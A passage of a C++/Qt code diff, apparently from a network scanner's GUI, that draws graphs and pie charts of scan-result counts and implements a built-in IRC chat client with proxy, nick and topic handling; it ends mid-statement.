+ sceneGrid2->clear(); + sceneUpper->clear(); + + float gHeight = ui->graphicLog->height(); + float gWidth = ui->graphicLog->width(); + + float fact = (float)100 / (float)MaxDataVal; + + if(QoSStep > 268) + { + MaxDataVal = 1; + QoSStep = 1; + gLOL0.clear(); + gLOL1.clear(); + gLOL2.clear(); + gLOL3.clear(); + gLOL4.clear(); + gLOL5.clear(); + gLOL6.clear(); + gLOL7.clear(); + }; + gLOL0.push_back(lstOfLabels[0]); + gLOL1.push_back(lstOfLabels[1]); + gLOL2.push_back(lstOfLabels[2]); + gLOL3.push_back(lstOfLabels[3]); + gLOL4.push_back(lstOfLabels[4]); + gLOL5.push_back(lstOfLabels[5]); + gLOL6.push_back(lstOfLabels[6]); + gLOL7.push_back(lstOfLabels[7]); + + int d0; + int d1; + int d2; + int d3; + int d4; + int d5; + int d6; + int d7; + + for(int QoSStepi = 0; QoSStepi < QoSStep; ++QoSStepi) + { + if(QoSStepi < gLOL0.size() + && QoSStepi < gLOL1.size() + && QoSStepi < gLOL2.size() + && QoSStepi < gLOL3.size() + && QoSStepi < gLOL4.size() + && QoSStepi < gLOL5.size() + && QoSStepi < gLOL6.size() + && QoSStepi < gLOL7.size() + ) + { + d0 = gHeight - gLOL0[QoSStepi] * fact - 1; + d1 = gHeight - gLOL1[QoSStepi] * fact - 1; + d2 = gHeight - gLOL2[QoSStepi] * fact - 1; + d3 = gHeight - gLOL3[QoSStepi] * fact - 1; + d4 = gHeight - gLOL4[QoSStepi] * fact - 1; + d5 = gHeight - gLOL5[QoSStepi] * fact - 1; + d6 = gHeight - gLOL6[QoSStepi] * fact - 1; + d7 = gHeight - gLOL7[QoSStepi] * fact - 1; + + sceneGraph->addLine(QoSStepi, gHeight, QoSStepi, d0, penQoS0); + sceneGraph->addLine(QoSStepi, gHeight, QoSStepi, d1, penQoS1); + sceneGraph->addLine(QoSStepi, gHeight, QoSStepi, d2, penQoS2); + sceneGraph->addLine(QoSStepi, gHeight, QoSStepi, d3, penQoS3); + sceneGraph->addLine(QoSStepi, gHeight, QoSStepi, d4, penQoS4); + sceneGraph->addLine(QoSStepi, gHeight, QoSStepi, d5, penQoS5); + sceneGraph->addLine(QoSStepi, gHeight, QoSStepi, d6, penQoS6); + sceneGraph->addLine(QoSStepi, gHeight, QoSStepi, d7, penQoS7); + }; + }; + QFont fnt; + fnt.setFamily("Eurostile"); + fnt.setPixelSize(10); + + QGraphicsTextItem *item = sceneUpper->addText("Max = " + QString(std::to_string((long double)MaxDataVal).c_str()), fnt); + item->setX(215); + item->setDefaultTextColor(Qt::white); + QOSWait = false; +}; +void nesca_3::slotQoSAddGrid() +{ + sceneGrid->clear(); + + int gWidth = ui->graphicLog->width(); + int gHeight = ui->graphicLog->height(); + if(MaxDataVal > 100) MaxDataVal = 100; + float fact = (float)100/(float)MaxDataVal; + + float th = 0; + for(int i = 0; i < 100; ++i) + { + th += fact; + sceneGrid->addLine(0, th, gWidth, th, rpen); + }; +}; +void nesca_3::setNickBox(QString str) +{ + ui->ircNickBox->setText(str); +}; +void nesca_3::slotAddLine(int x1, int y1, int x2, int y2) +{ + sceneGrid->addLine(x1, y1, x2, y2, pen); + if(sceneGrid->items().size() > 10) + { + sceneGrid->removeItem(vectOld[10]); + sceneGrid->items().pop_back(); + }; +}; +void nesca_3::slotAddPolyLine() +{ + if(ME2ScanFlag) + { + double uu = 0; + QPainterPath path; + if(vect.size() > 0) + { + path.moveTo(vect[0]); + for(int i = 1; i < vect.size(); ++i) + { + path.lineTo(vect[i]); + }; + }; + QGraphicsPathItem* itm = new QGraphicsPathItem(path); + + itm->setPen(pen2i); + vectOld.push_front(itm); + QGraphicsPathItem* itemN; + for(int i = 0; i < vectOld.size(); ++i) + { + itemN = vectOld[i]; + + itemN->setY(u+i); + itemN->setOpacity(1 - uu); + uu+=0.04; + sceneGraph->addItem(itemN); + u+=2; + }; + int maxPrnt = 30; + while(vectOld.size() > maxPrnt) + { + if(vectOld[maxPrnt] != 0) + { + sceneGraph->removeItem(vectOld[maxPrnt]); + delete vectOld[maxPrnt]; + if(vectOld.size() > 0) vectOld.pop_back(); + }; + }; + if(u > 10) u = 1; + }; +}; +void nesca_3::slotDrawGrid() +{ + sceneGrid->clear(); +}; +void nesca_3::slotDrawActivityGrid() +{ + sceneActivityGrid->clear(); + QPen penActivity(QColor(170, 170, 170, 150), 0.1); + + int gWidth = ui->graphicActivityGrid->width(); + int gHeight = ui->graphicActivityGrid->height(); + + //Horizontal + int th = 0; + for(int i = 0; i < 16; i+=2) + { + th = gHeight - i; + sceneActivityGrid->addLine(0, th, gWidth, th, penActivity); + }; + + //Vertical + for(int i = 0; i < 100; i+=10) + { + sceneActivityGrid->addLine(i, 0, i, gHeight, penActivity); + }; +}; +void nesca_3::slotDrawVoiceGrid() +{ + sceneGrid->clear(); + QPen penActivity(QColor(170, 170, 170, 150), 0.1); + QPen rpenActivity(QColor(255, 0, 0, 150), 0.1); + + int gWidth = ui->graphicLog->width(); + int gHeight = ui->graphicLog->height(); + + //Horizontal + int th = 0; + for(int i = 0; i < 100; i+=5) + { + th = i - 2; + if(i % 10 == 0) sceneGrid->addLine(0, th, gWidth, th, rpenActivity); + else sceneGrid->addLine(0, th, gWidth, th, penActivity); + }; + + //Vertical + for(int i = 0; i < 270; i+=10) + { + sceneGrid->addLine(i, 0, i, gHeight, penActivity); + }; +}; +void nesca_3::slotDrawActivityLine() +{ + sceneActivity->clear(); + QPen penActivity(QColor(255, 255, 255), 0.3); + int as = 0; + + for(int i = 1; i < actLst.size(); ++i) + { + as += 2; + sceneActivity->addLine(as - 2, 16 - actLst[i - 1] - 1, as, 16 - actLst[i] - 1, penActivity); + }; +}; +void nesca_3::activateME2ScanScene() +{ + if(ME2ScanFlag == false) + { + ui->me2ScanBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); + ui->QoSScanBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + ui->VoiceScanBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + ui->PieStatBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + + sceneUpper->clear(); + + sceneGrid->clear(); + sceneGrid2->clear(); + sceneGraph->clear(); + sceneVoice->clear(); + + vAlivLst.clear(); + vAnomLst.clear(); + vWFLst.clear(); + vSuspLst.clear(); + vLowlLst.clear(); + vBALst.clear(); + vOvrlLst.clear(); + vSSHLst.clear(); + vectOld.clear(); + + ME2ScanFlag = true; + QoSScanFlag = false; + VoiceScanFlag = false; + PieStatFlag = false; + + for(int i = 0; i < sceneGrid->items().size(); ++i) + { + sceneGrid->removeItem(sceneGrid->items()[i]); + sceneGrid->items().clear(); + }; + for(int i = 0; i < sceneGrid2->items().size(); ++i) + { + sceneGrid2->removeItem(sceneGrid2->items()[i]); + sceneGrid2->items().clear(); + }; + + if(dtHN->isRunning() == false) + { + dtHN->start(); + }; + if(dtME2->isRunning() == false) + { + dtME2->start(); + }; + }; +}; +void nesca_3::activateQoSScanBut() +{ + if(QoSScanFlag == false) + { + ui->QoSScanBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); + ui->PieStatBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + ui->VoiceScanBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + ui->me2ScanBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + + ui->RedLabel->setVisible(true); + ui->GreenLabel->setVisible(true); + ui->CyanLabel->setVisible(true); + ui->BlueLabel->setVisible(true); + ui->PinkLabel->setVisible(true); + ui->YellowLabel->setVisible(true); + ui->WhiteLabel->setVisible(true); + ui->DredLabel->setVisible(true); + + ui->labelAnomaly->setVisible(true); + ui->labelBA->setVisible(true); + ui->labelFiltered->setVisible(true); + ui->labelBads->setVisible(true); + ui->labelLowloads->setVisible(true); + ui->labelOverloads->setVisible(true); + ui->labelAlives->setVisible(true); + ui->labelSSH->setVisible(true); + + vAlivLst.clear(); + vAnomLst.clear(); + vWFLst.clear(); + vSuspLst.clear(); + vLowlLst.clear(); + vBALst.clear(); + vOvrlLst.clear(); + vSSHLst.clear(); + vectOld.clear(); + + ME2ScanFlag = false; + QoSScanFlag = true; + VoiceScanFlag = false; + PieStatFlag = false; + + QoSStep = 1; + MaxDataVal = 1; + + sceneGrid2->clear(); + sceneGraph->clear(); + sceneGrid->clear(); + sceneUpper->clear(); + sceneTextPlacer->clear(); + sceneVoice->clear(); + vect.clear(); + + if(dtQoS->isRunning() == false) dtQoS->start(); + if(dtGridQoS->isRunning() == false) dtGridQoS->start(); + }; +}; +void nesca_3::activateVoiceScanBut() +{ + if(VoiceScanFlag == false) + { + ui->VoiceScanBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); + ui->me2ScanBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + ui->QoSScanBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + ui->PieStatBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + + ui->RedLabel->setVisible(true); + ui->GreenLabel->setVisible(true); + ui->CyanLabel->setVisible(true); + ui->BlueLabel->setVisible(true); + ui->PinkLabel->setVisible(true); + ui->YellowLabel->setVisible(true); + ui->WhiteLabel->setVisible(true); + ui->DredLabel->setVisible(true); + + ui->labelAnomaly->setVisible(true); + ui->labelBA->setVisible(true); + ui->labelFiltered->setVisible(true); + ui->labelBads->setVisible(true); + ui->labelLowloads->setVisible(true); + ui->labelOverloads->setVisible(true); + ui->labelAlives->setVisible(true); + ui->labelSSH->setVisible(true); + + ME2ScanFlag = false; + QoSScanFlag = false; + VoiceScanFlag = true; + PieStatFlag = false; + + sceneGrid2->clear(); + sceneGraph->clear(); + sceneGrid->clear(); + sceneUpper->clear(); + sceneVoice->clear(); + + if(vsTh->isRunning() == false) vsTh->start(); + }; +}; +void nesca_3::slotUpdatePie() +{ + sceneGraph->clear(); + + int goods = saved; + int nAlive = found - goods; + float degree = (16*360) / (float)100; + + float perc0 = ((float)nAlive * 100) * degree; + float perc1 = ((float)PieAnomC1/(float)(found) * 100) * degree; + float perc2 = ((float)PieSusp/(float)(found) * 100) * degree; + float perc3 = ((float)PieBA/(float)(found) * 100) * degree; + float perc4 = ((float)PieLowl/(float)(found) * 100) * degree; + float perc5 = ((float)PieWF/(float)(found) * 100) * degree; + float perc6 = ((float)PieSSH/(float)(found) * 100) * degree; + + QFont fnt; + fnt.setFamily("Eurostile"); + fnt.setPixelSize(10); + + QString dataSaved = "Saved: " + QString::number(goods/(float)(found > 0 ? found : 1) * 100) + "%(" + QString::number(goods) + ")"; + QString dataParsed = "Filtered: " + QString::number((found - goods)/(float)(found > 0 ? found : 1) * 100) + "%(" + QString::number(found - goods) + ")"; + QString dataOnline = "Online: " + QString::number(found); + QString dataAnom = "Anomalies: " + QString::number(PieAnomC1/(float)(goods > 0 ? goods : 1) * 100) + "%"; + QString dataBA = "Basic Auth: " + QString::number(PieBA/(float)(goods > 0 ? goods : 1) * 100) + "%"; + QString dataSusp = "Suspicious: " + QString::number(PieSusp/(float)(goods > 0 ? goods : 1) * 100) + "%"; + QString dataLowl = "Lowload: " + QString::number(PieLowl/(float)(goods > 0 ? goods : 1) * 100) + "%"; + QString dataWF = "WebForms: " + QString::number(PieWF/(float)(goods > 0 ? goods : 1) * 100) + "%"; + QString dataSSH = "SSH: " + QString::number(PieSSH/(float)(goods > 0 ? goods : 1) * 100) + "%"; + + int dataX = 1; + int dataY = 13; + + QGraphicsTextItem *titem = sceneGraph->addText(dataOnline, fnt); + titem->setX(dataX); + titem->setY(-5); + titem->setDefaultTextColor(QColor(255, 255, 255, 130)); + + titem = sceneGraph->addText(dataSaved, fnt); + titem->setX(dataX); + titem->setY(5); + titem->setDefaultTextColor(QColor(255, 255, 255, 130)); + + titem = sceneGraph->addText(dataParsed, fnt); + titem->setX(dataX); + titem->setY(15); + titem->setDefaultTextColor(QColor(255, 255, 255, 255)); + + titem = sceneGraph->addText(dataAnom, fnt); + titem->setX(dataX); + titem->setY(dataY + 17); + titem->setDefaultTextColor(QColor("red")); + + titem = sceneGraph->addText(dataBA, fnt); + titem->setX(dataX); + titem->setY(dataY + 27); + titem->setDefaultTextColor(Qt::darkCyan); + + titem = sceneGraph->addText(dataSusp, fnt); + titem->setX(dataX); + titem->setY(dataY + 37); + titem->setDefaultTextColor(Qt::darkRed); + + titem = sceneGraph->addText(dataLowl, fnt); + titem->setX(dataX); + titem->setY(dataY + 47); + titem->setDefaultTextColor(Qt::magenta); + + titem = sceneGraph->addText(dataWF, fnt); + titem->setX(dataX); + titem->setY(dataY + 56); + titem->setDefaultTextColor(Qt::darkGray); + + titem = sceneGraph->addText(dataSSH, fnt); + titem->setX(dataX); + titem->setY(dataY + 66); + titem->setDefaultTextColor(Qt::darkRed); + + int PieX = 155; + int PieW = 114; + + //Alives + QGraphicsEllipseItem* item = new QGraphicsEllipseItem(PieX, 2, PieW, 97); + item->setStartAngle(0); + item->setSpanAngle(perc0); + item->setBrush(QBrush(Qt::white)); + sceneGraph->addItem(item); + + //Anomalies + if(perc1 > 0) + { + item = new QGraphicsEllipseItem(PieX, 2, PieW, 97); + item->setStartAngle(perc0); + item->setSpanAngle(perc1); + item->setBrush(QBrush(Qt::red)); + sceneGraph->addItem(item); + }; + //Suspicious + if(perc2 > 0) + { + item = new QGraphicsEllipseItem(PieX, 2, PieW, 97); + item->setStartAngle(perc0 + perc1); + item->setSpanAngle(perc2); + item->setBrush(QBrush(Qt::darkRed)); + sceneGraph->addItem(item); + }; + //BA + if(perc3 > 0) + { + item = new QGraphicsEllipseItem(PieX, 2, PieW, 97); + item->setStartAngle(perc0 + perc1 + perc2); + item->setSpanAngle(perc3); + item->setBrush(QBrush(Qt::darkCyan)); + sceneGraph->addItem(item); + }; + //Lowl + if(perc4 > 0) + { + item = new QGraphicsEllipseItem(PieX, 2, PieW, 97); + item->setStartAngle(perc0 + perc1 + perc2 + perc3); + item->setSpanAngle(perc4); + item->setBrush(QBrush(Qt::magenta)); + sceneGraph->addItem(item); + }; + //WF + if(perc5 > 0) + { + item = new QGraphicsEllipseItem(PieX, 2, PieW, 97); + item->setStartAngle(perc0 + perc1 + perc2 + perc3 + perc4); + item->setSpanAngle(perc5); + item->setBrush(QBrush(Qt::darkGray)); + sceneGraph->addItem(item); + }; + //SSH + if(perc6 > 0) + { + item = new QGraphicsEllipseItem(PieX, 2, PieW, 97); + item->setStartAngle(perc0 + perc1 + perc2 + perc3 + perc4 + perc5); + item->setSpanAngle(perc6); + item->setBrush(QBrush(Qt::darkRed)); + sceneGraph->addItem(item); + }; +}; +void nesca_3::activatePieStatBut() +{ + if(PieStatFlag == false) + { + ui->PieStatBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); + ui->QoSScanBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + ui->VoiceScanBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + ui->me2ScanBut->setStyleSheet("color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80);"); + + ui->RedLabel->setVisible(false); + ui->GreenLabel->setVisible(false); + ui->CyanLabel->setVisible(false); + ui->BlueLabel->setVisible(false); + ui->PinkLabel->setVisible(false); + ui->YellowLabel->setVisible(false); + ui->WhiteLabel->setVisible(false); + ui->DredLabel->setVisible(false); + + ui->labelAnomaly->setVisible(false); + ui->labelBA->setVisible(false); + ui->labelFiltered->setVisible(false); + ui->labelBads->setVisible(false); + ui->labelLowloads->setVisible(false); + ui->labelOverloads->setVisible(false); + ui->labelAlives->setVisible(false); + ui->labelSSH->setVisible(false); + + ME2ScanFlag = false; + QoSScanFlag = false; + VoiceScanFlag = false; + PieStatFlag = true; + + sceneGrid2->clear(); + sceneGraph->clear(); + sceneGrid->clear(); + sceneUpper->clear(); + sceneTextPlacer->clear(); + sceneVoice->clear(); + + if(psTh->isRunning() == false) psTh->start(); + }; +}; +bool stopFirst; +void nesca_3::importAndScan() +{ + if(startFlag == false) + { + if(trackerOK) + { + if(ui->linePersKey->text().size() != 0) + { + CheckPersKey(2); + } + else + { + stt->doEmitionRedFoundData("Empty \"Personal key\" field. "); + }; + } + else + { + stt->doEmitionStartScanImport(); + }; + } + else + { + ui->importButton->setStyleSheet( + " QPushButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: yellow;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->importButton->setText("Wait..."); + stt->doEmitionYellowFoundData("Trying to stop. Please, wait..."); + globalScanFlag = false; + + if(stopFirst == false) + { + stopFirst = true; + globalScanFlag = false; + ui->importButton->setStyleSheet( + " QPushButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: red;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->importButton->setText("STOP!"); + stt->doEmitionYellowFoundData("Trying to stop. Please, wait..."); + importFileName = ""; + } + else + { + globalScanFlag = false; + ui->importButton->setStyleSheet( + " QPushButton {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: yellow;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}" + ); + + ui->importButton->setText("Wait..."); + stt->doEmitionYellowFoundData("Wait, killing threads..."); + STTTerminate(); + }; + }; +}; +void nesca_3::switchDataFields() +{ + if(ui->switcherBut->text() == "<") + { + BALogSwitched = true; + ui->dataText->lower(); + ui->BAText->raise(); + ui->switcherBut->setText(">"); + } + else + { + BALogSwitched = false; + ui->dataText->raise(); + ui->BAText->lower(); + ui->switcherBut->setText("<"); + }; +}; +void nesca_3::slotBlinkMessage() +{ + if(blinkFlag) + { + blinkFlag = false; + ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); + ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); + } + else + { + blinkFlag = true; + ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 255);background-color: rgba(2, 2, 2, 0);"); + ui->IRCModeBut->setStyleSheet("color: rgb(255, 0, 0);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 0, 0, 255);"); + }; +}; +void nesca_3::ChangeDispalyMode() +{ + if(widgetIsHidden == false && tray->isVisible() == false) + { + blinkFlag = false; + widgetIsHidden = true; + ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); + ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);"); + ui->widgetIRC->setGeometry(QRect(1, 44, 498, 730)); + ui->shoutBox->setFocus(); + QWidget::activateWindow(); + msgWdgt->hide(); + } + else + { + disableBlink = false; + blinkFlag = true; + widgetIsHidden = false; + printDelimiter = true; + ui->widgetIRC->setGeometry(QRect(500, 44, 500, 730)); + }; +}; +void nesca_3::CheckProxy() +{ + saveOptions(); + _SaveBackupToFile(); + QStringList qsl; + if(ui->ircProxy->text().contains(":")) + { + qsl = ui->ircProxy->text().split(":"); + + ui->ircProxy->setText(qsl[0]); + ui->ircProxyPort->setText(qsl[1]); + }; + + chPTh->doEmitChangeYellowIRCData("Checking " + ui->ircProxy->text() + ":" + ui->ircProxyPort->text() + "..."); + chPTh->start(); +}; +void nesca_3::slotIRCOfflined() +{ + shutdown(lSock, 2); + closesocket(lSock); + ui->IRCConnectBut->setStyleSheet( + " #IRCConnectBut {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: green;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}"); + ui->IRCConnectBut->setText("Connect"); + ui->ircText->append("[-//-] Disconnected."); +}; +void nesca_3::ConnectToIRCServer() +{ + saveOptions(); + _SaveBackupToFile(); + QStringList qsl; + if(ui->ircServerBox->text().contains(":")) + { + qsl = ui->ircServerBox->text().split(":"); + + ui->ircServerBox->setText(qsl[0]); + ui->serverPortBox->setText(qsl[1]); + }; + if(ui->ircProxy->text().contains(":")) + { + qsl = ui->ircProxy->text().split(":"); + + ui->ircProxy->setText(qsl[0]); + ui->ircProxyPort->setText(qsl[1]); + }; + saveOptions(); + if(ui->ircServerBox->text() != "") + { + if(ui->serverPortBox->text() != "") + { + if(ui->IRCConnectBut->text() == "Connect") + { + if(!ircTh->isRunning()) + { + if(ui->ircProxy->text() != "" && ui->ircProxyPort->text() != "") proxyEnabledFlag = 1; + + iWantToConnect = true; + ui->IRCConnectBut->setStyleSheet( + " #IRCConnectBut {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: red;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}"); + ui->IRCConnectBut->setText("Disconnect"); + if(proxyEnabledFlag) ui->ircText->append("[*] Using proxy " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); + else ui->ircText->append("[*] No proxy selected! Connecting with your ip address."); + ircTh->start(); + } + else + { + ui->ircText->append("[...] Wait..."); + }; + } + else + { + iWantToConnect = false; + + ui->IRCConnectBut->setStyleSheet( + " #IRCConnectBut {" + "background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));" + "color: green;" + "border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));" + "}"); + ui->IRCConnectBut->setText("Connect"); + ui->ircText->append("[-//-] Disconnected."); + + shutdown(lSock, 2); + closesocket(lSock); + }; + } + else + { +#pragma region QTGUI_Area + ui->ircText->append("No IRC port specified!"); +#pragma endregion + }; + } + else + { +#pragma region QTGUI_Area + ui->ircText->append("No IRC server specified!"); +#pragma endregion + }; +}; +void nesca_3::ChangeIRCRawLog() +{ + if(ui->IRCModeChangerBut->text() == ":IRC raw") + { + IRCLogToggled = false; + ui->IRCModeChangerBut->setText(":IRC log"); + ui->ircText->lower(); + ui->ircRaw->raise(); + } + else + { + IRCLogToggled = true; + ui->IRCModeChangerBut->setText(":IRC raw"); + ui->ircText->raise(); + ui->ircRaw->lower(); + }; +}; +void nesca_3::ChangeNick() +{ + strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); + UserNickInit(lSock); + ui->shoutBox->setFocus(); +}; +void nesca_3::CheckPersKey() +{ + emitIfOK = -1; + saveOptions(); + _SaveBackupToFile(); + if(!chKTh->isRunning()) + { + stt->doEmitionYellowFoundData("[Key check] Starting checker-thread..."); + chKTh->start(); + } + else + { + stt->doEmitionRedFoundData("Wait until checker-thread finishes."); + }; +}; +void nesca_3::CheckPersKey(int val = -1) +{ + emitIfOK = val; + saveOptions(); + _SaveBackupToFile(); + if(!chKTh->isRunning()) + { + stt->doEmitionYellowFoundData("[Key check] Starting checker-thread..."); + chKTh->start(); + } + else + { + stt->doEmitionRedFoundData("Wait until checker-thread finishes."); + }; +}; +void _finishNick() +{ + QList ql = ui->nickList->findItems(ui->shoutBox->text(), Qt::MatchStartsWith); + if(ql.size() > 0) + { + ui->shoutBox->setText(ql[0]->text() + ", "); + ui->shoutBox->setFocus(); + }; +}; +bool nesca_3::eventFilter(QObject* obj, QEvent *event) +{ + if (obj == ui->shoutBox) + { + if (event->type() == QEvent::KeyPress) + { + QKeyEvent* keyEvent = static_cast(event); + if (keyEvent->key() == Qt::Key_Up) + { + ui->shoutBox->setText(PhraseLog[PhraseIndex]); + ++PhraseIndex; + if(PhraseIndex >= PhraseLog.size()) PhraseIndex = 0; + return true; + } + else if(keyEvent->key() == Qt::Key_Down) + { + --PhraseIndex; + if(PhraseIndex < 0) PhraseIndex = PhraseLog.size() - 1; + + ui->shoutBox->setText(PhraseLog[PhraseIndex]); + return true; + } + else if(keyEvent->modifiers() == Qt::ControlModifier) + { + privateMsgFlag = true; + event->accept(); + } + else if(keyEvent->key() == Qt::Key_Tab) + { + _finishNick(); + return true; + }; + }; + return false; + } + else if (obj == ui->ircText) + { + if (event->type() == QEvent::KeyPress) + { + QKeyEvent* keyEvent = static_cast(event); + if(keyEvent->modifiers() == Qt::ControlModifier) + { + privateMsgFlag = true; + event->accept(); + }; + } + else if (event->type() == QEvent::KeyRelease) + { + privateMsgFlag = false; + event->accept(); + }; + } + else if (obj == ui->widgetIRC) + { + if(MapWidgetOpened) + { + qwm->raise(); + }; + if (event->type() == QEvent::KeyPress) + { + QKeyEvent* keyEvent = static_cast(event); + if(keyEvent->modifiers() == Qt::ControlModifier) + { + privateMsgFlag = true; + event->accept(); + }; + } + else if (event->type() == QEvent::KeyRelease) + { + privateMsgFlag = false; + event->accept(); + }; + } + else + { + if (event->type() == QEvent::KeyPress) + { + QKeyEvent* keyEvent = static_cast(event); + if(keyEvent->modifiers() == Qt::ControlModifier) + { + privateMsgFlag = true; + event->accept(); + }; + } + else if(event->type() == QEvent::KeyRelease) + { + privateMsgFlag = false; + event->accept(); + }; + }; +}; +void nesca_3::ChangeTopic() +{ + if(ui->topicLine->text().size() > 0) + { + char temp[2048] = {0}; + + QString strf; + + QTextCodec *codec = QTextCodec::codecForName("Windows-1251"); + strf = codec->toUnicode(ui->topicLine->text().toUtf8()); + strcpy(temp, "TOPIC #"); + strcat(temp, IRC_CHAN); + strcat(temp, " :"); + strncat(temp, strf.toLocal8Bit().data(), 256); + strcat(temp, "\n"); + + sendS(lSock, temp, strlen(temp), 0); + }; +}; +void nesca_3::SaySmthng() +{ + if(ui->shoutBox->text().size() > 0) + { + char temp[2048] = {0}; + + PhraseIndex = 0; + if(PhraseLog.size() > 50) + { + PhraseLog.pop_back(); + if(ui->shoutBox->text() != PhraseLog[PhraseIndex]) PhraseLog.push_front(ui->shoutBox->text()); + } + else + { + if(ui->shoutBox->text() != PhraseLog[PhraseIndex]) PhraseLog.push_front(ui->shoutBox->text()); + }; + + if(ui->shoutBox->text() == "/clear" || ui->shoutBox->text() == "clear" || ui->shoutBox->text() == "clr") + { + ui->ircText->clear(); + } + else if(ui->shoutBox->text().contains("/me ")) + { + QString strf; + if(utfIRCFlag) + { + strf = codec->toUnicode(ui->shoutBox->text().toUtf8()); + } + else strf = ui->shoutBox->text(); + + strcpy(temp, "PRIVMSG #"); + strcat(temp, IRC_CHAN); + strcat(temp, " :"); + strcat(temp, "ACTION "); + strcat(temp, strf.toLocal8Bit().data() + 3); + strcat(temp, "\n"); + sendS(lSock, temp, strlen(temp), 0); + appendDefaultIRCTextOut("--> " + ui->ircNickBox->text() + " " + strf.mid(3)); + } + else if(ui->shoutBox->text().contains("/w ")) + { + int lBoundary1 = ui->shoutBox->text().indexOf(" "); + int lBoundary2 = ui->shoutBox->text().indexOf(","); + int lBoundary = 0; + if(lBoundary1 == -1) + { + lBoundary = lBoundary2; + } + else if(lBoundary2 == -1) + { + lBoundary = lBoundary1; + } + else if(lBoundary1 > lBoundary2) + { + lBoundary = lBoundary2; + } + else + { + lBoundary = lBoundary1; + }; + QString nickPG = ui->shoutBox->text().mid(lBoundary + 1); + int rBoundary = nickPG.indexOf(" "); + QString nickP = ui->shoutBox->text().mid(lBoundary + 1, rBoundary); + QString msgP = nickPG.mid(rBoundary + 1); + + QString strf; + if(utfIRCFlag) + { + strf = codec->toUnicode(msgP.toUtf8()); + } + else strf = msgP; + + strcpy(temp, "PRIVMSG "); + strcat(temp, nickP.toLocal8Bit().data()); + strcat(temp, " :"); + strcat(temp, 